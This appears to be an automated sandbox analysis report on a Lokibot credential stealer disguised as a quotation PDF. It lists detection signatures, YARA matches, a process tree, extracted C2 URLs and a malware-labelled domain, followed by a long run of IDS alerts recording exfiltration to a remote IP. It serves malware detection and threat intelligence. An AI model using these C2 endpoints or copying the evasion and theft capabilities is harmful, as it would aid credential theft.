Play interactive tour

Edit tour

Windows Analysis Report Cotizaci#U00f3n-20210803.pdf.exe

Overview

General Information

Sample Name:	Cotizaci#U00f3n-20210803.pdf.exe
Analysis ID:	459237
MD5:	a0b0b59336a2e6fcd27c85c10765dca3
SHA1:	2a69e343a030294950c51e085750a29e77745648
SHA256:	ef17dc29214ca8cbef6cac18d1a087f7e97ea7a10f7c185f515bd951877a8941
Tags:	exeLokilokibot
Infos:
Most interesting Screenshot:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Sigma detected: Suspicious Double Extension

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AntiVM3

Yara detected Lokibot

C2 URLs / IPs found in malware configuration

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Tries to steal Mail credentials (via file registry)

Uses an obfuscated file name to hide its real file extension (double extension)

Yara detected aPLib compressed binary

Antivirus or Machine Learning detection for unpacked file

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Cotizaci#U00f3n-20210803.pdf.exe (PID: 5764 cmdline: 'C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe' MD5: A0B0B59336A2E6FCD27C85C10765DCA3)

Cotizaci#U00f3n-20210803.pdf.exe (PID: 6108 cmdline: {path} MD5: A0B0B59336A2E6FCD27C85C10765DCA3)

cleanup

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x17e77:$des3: 68 03 66 00 00 0x1c274:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x1c340:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000000.00000002.304824656.0000000003FD9000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.304824656.0000000003FD9000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.304824656.0000000003FD9000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.304824656.0000000003FD9000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x9d02f:$des3: 68 03 66 00 00 0xa1420:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0xa14ec:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: Cotizaci#U00f3n-20210803.pdf.exe PID: 5764	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Cotizaci#U00f3n-20210803.pdf.exe PID: 5764	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: Cotizaci#U00f3n-20210803.pdf.exe PID: 5764	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: Cotizaci#U00f3n-20210803.pdf.exe PID: 6108	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: Cotizaci#U00f3n-20210803.pdf.exe PID: 6108	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x13e80:$s2: https:// 0x18074:$s2: \x97\x8B\x8B\x8F\x8C\xC5\xD0\xD0 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13278:$s1: http:// 0x16233:$s1: http:// 0x13280:$s2: https:// 0x16c74:$s2: \x97\x8B\x8B\x8F\x8C\xC5\xD0\xD0 0x13278:$f1: http:// 0x16233:$f1: http:// 0x13280:$f2: https://
0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 15 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Double Extension

Show sources

Source: Process started

Author: Florian Roth (rule), @blu3_team (idea): Data: Command: {path}, CommandLine: {path}, CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe, NewProcessName: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe, OriginalFileName: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe, ParentCommandLine: 'C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe' , ParentImage: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe, ParentProcessId: 5764, ProcessCommandLine: {path}, ProcessId: 6108

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://zamloki.xyz/des/co/tox.php	Avira URL Cloud: Label: malware
Source: https://zamloki.xyz/des/co/tox.php	Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php"]}

Multi AV Scanner detection for domain / URL

Show sources

Source: zamloki.xyz	Virustotal: Detection: 8%			Perma Link
Source: http://zamloki.xyz/des/co/tox.php	Virustotal: Detection: 6%			Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: Cotizaci#U00f3n-20210803.pdf.exe	Virustotal: Detection: 32%			Perma Link
Source: Cotizaci#U00f3n-20210803.pdf.exe	ReversingLabs: Detection: 26%

Machine Learning detection for sample

Show sources

Source: Cotizaci#U00f3n-20210803.pdf.exe

Joe Sandbox ML: detected

Source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: Cotizaci#U00f3n-20210803.pdf.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: Cotizaci#U00f3n-20210803.pdf.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Code function: 14_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

14_2_00403D74

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.5:49712 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49712 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49712 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.5:49713 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49713 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49713 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49714 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49714 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49714 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49715 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49715 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49715 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49716 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49716 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49716 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49717 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49717 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49717 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49718 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49718 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49718 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49719 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49719 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49719 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49720 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49720 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49720 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49721 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49721 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49721 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49722 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49722 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49722 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49723 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49723 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49723 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49724 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49724 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49724 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49726 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49726 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49726 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49727 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49727 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49727 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49728 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49728 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49728 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49729 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49729 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49729 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49730 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49730 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49730 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49731 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49731 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49731 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49732 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49732 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49732 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49733 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49733 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49733 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49734 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49734 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49734 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49735 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49735 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49735 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49736 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49736 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49736 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49737 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49737 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49737 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49738 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49738 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49738 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49739 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49739 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49739 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49740 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49740 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49740 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49741 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49741 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49741 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49742 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49742 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49742 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49743 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49743 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49743 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49744 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49744 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49744 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49745 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49745 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49745 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49746 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49746 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49746 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49747 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49747 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49747 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49748 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49748 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49748 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49749 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49749 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49749 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49750 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49750 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49750 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49751 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49751 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49751 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49752 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49752 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49752 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49753 -> 172.67.155.45:80
